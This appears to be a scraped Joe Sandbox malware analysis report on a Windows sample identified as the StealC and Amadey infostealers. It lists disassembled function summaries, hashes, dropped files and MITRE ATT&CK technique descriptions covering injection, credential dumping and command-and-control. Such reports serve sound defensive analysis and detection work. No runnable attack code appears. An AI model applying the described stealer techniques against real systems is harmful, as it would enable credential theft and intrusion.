Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Xl
API String ID: 17069307-3587833152
Opcode ID: 432389b5d0052e61918a9fed8db4d53e6bd69c1b7c17f1a9dc8e03b81c4a1410
Instruction ID: dec8cd58306a0aecb73ac7c0ff9700a3992f623b46d0a4df4993b6a4213f1068
Opcode Fuzzy Hash: 432389b5d0052e61918a9fed8db4d53e6bd69c1b7c17f1a9dc8e03b81c4a1410
Instruction Fuzzy Hash: 64E0DF3290BA38B7DB01AF968C1998A7BB8EE4B6A03069205E40A17E00C770A4408AD9

Function 6C51BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C51BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C51BEF5

Strings

cryptbase.dll, xrefs: 6C51BEF0

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: e4577097af7c451c36fba5091879396ad56cc11e28f5e56c9e4b45fd6377a31d
Instruction ID: a3176ae7928875015c0b054dc4a2bb7b380ec8e880f7aeb25bedd765c949f61e
Opcode Fuzzy Hash: e4577097af7c451c36fba5091879396ad56cc11e28f5e56c9e4b45fd6377a31d
Instruction Fuzzy Hash: 1ED0C731185118EAEA40BA508D09B153B7D9706715F10C421F75554E51C7B19454CB65

Function 6C55B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B628

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C55B127,?,?,?,?,?,?,?,?), ref: 6C55B74D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5ef24d0ab5dd323c01c1c6e1b04e62719eafdf1518d527474df51bc39d2640ac
Instruction ID: 48600dc08a631be42a90a6ff6e26599b09e917d2a5fb5563967aeafbad67d5aa
Opcode Fuzzy Hash: 5ef24d0ab5dd323c01c1c6e1b04e62719eafdf1518d527474df51bc39d2640ac
Instruction Fuzzy Hash: 0851DFB1A01216CFDB14DF58CD8876EB7B1FF85304F95852EC85AAB750D731A824CBA1

Function 6C55DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C54FF2A), ref: 6C55DFFD

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C54FF2A), ref: 6C55E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C54FF2A), ref: 6C55E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C54FF2A), ref: 6C55E0FE

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4303c3f838a9595ff1774597f5fcc0f54a6c50a6c889a96ae6a55ed6fd0e926b
Instruction ID: c0e16941a1848438724a655da4934b272d3fc5769c063fbae02e20d06b3af938
Opcode Fuzzy Hash: 4303c3f838a9595ff1774597f5fcc0f54a6c50a6c889a96ae6a55ed6fd0e926b
Instruction Fuzzy Hash: 0141E1B1704216CFEB14CF68CC8035E73B6AB46308F95093AD516DBB50E7B5E925CB92

Function 6C556E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C556EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C556EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C556F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C556F5C

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: a38d930c83d3c2214f6d606bc7e33a4621a93588e7a8469de95543f5978944b5
Instruction ID: 7ae028fcb5236191282562114de202f9ba0ff924db6db96e7c2955bfe7c63a71
Opcode Fuzzy Hash: a38d930c83d3c2214f6d606bc7e33a4621a93588e7a8469de95543f5978944b5
Instruction Fuzzy Hash: D431F471B1160A8FDB14CF2CCC806AE73E9AF85344F90463AD41AC7B55EF32E6698791

Function 6C56B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C510A4D), ref: 6C56B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C510A4D), ref: 6C56B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C510A4D), ref: 6C56B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C510A4D), ref: 6C56B67F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c6038847a722853134884b0ec79add3c7d2b1185787cab6b670a0a1f68f65a66
Instruction ID: 9677ddd2ef55a37d32480d32489bdd94da3c5f95e51adf3811c1a75834c27841
Opcode Fuzzy Hash: c6038847a722853134884b0ec79add3c7d2b1185787cab6b670a0a1f68f65a66
Instruction Fuzzy Hash: 93310671A012268FDB10EF59CC4465EBBF5FF81304F168A29D8069BB21EB31E915CBE1

Function 6C53F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C53F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C53F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C53F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C53F668

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 365fa5be9a379836fb3a3392c46343612a3c9516a906b2bafd87d5ed0c49df04
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: F4313071A006249FD724CF59CCC0A9E77B5EBC4358B148679FA498BB15E731FD848BA0

Function 6C5526B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5526C1
free.MOZGLUE(?), ref: 6C5526E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5526FF
free.MOZGLUE ref: 6C55270D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0ea78326c12b58b96e30fab76bec2c4df400d67bd76906544c39e65d49406793
Instruction ID: f2de665ab08d7fefca0d2075f3dacaf15d406baa4b59aa8ac780d018eabbac65
Opcode Fuzzy Hash: 0ea78326c12b58b96e30fab76bec2c4df400d67bd76906544c39e65d49406793
Instruction Fuzzy Hash: 8FF0A9B27012015BEB009A58ECC495B73A9EF51258B950136EA1AD3B41E731F929C796

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAEHIEBGHDAFIEBGIEHJ

C:\ProgramData\CAAEBKEG

C:\ProgramData\DBFBFBGDBKJJKFIEHJDBAFIECG

C:\ProgramData\GCGCBAEC

C:\ProgramData\IDHJEBGIEBFIJKEBFBFH

C:\ProgramData\JDHCBAEHJJJKKFIDGHJE

C:\ProgramData\KEGIDHJKKJDGCBGCGIJKKECAAE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre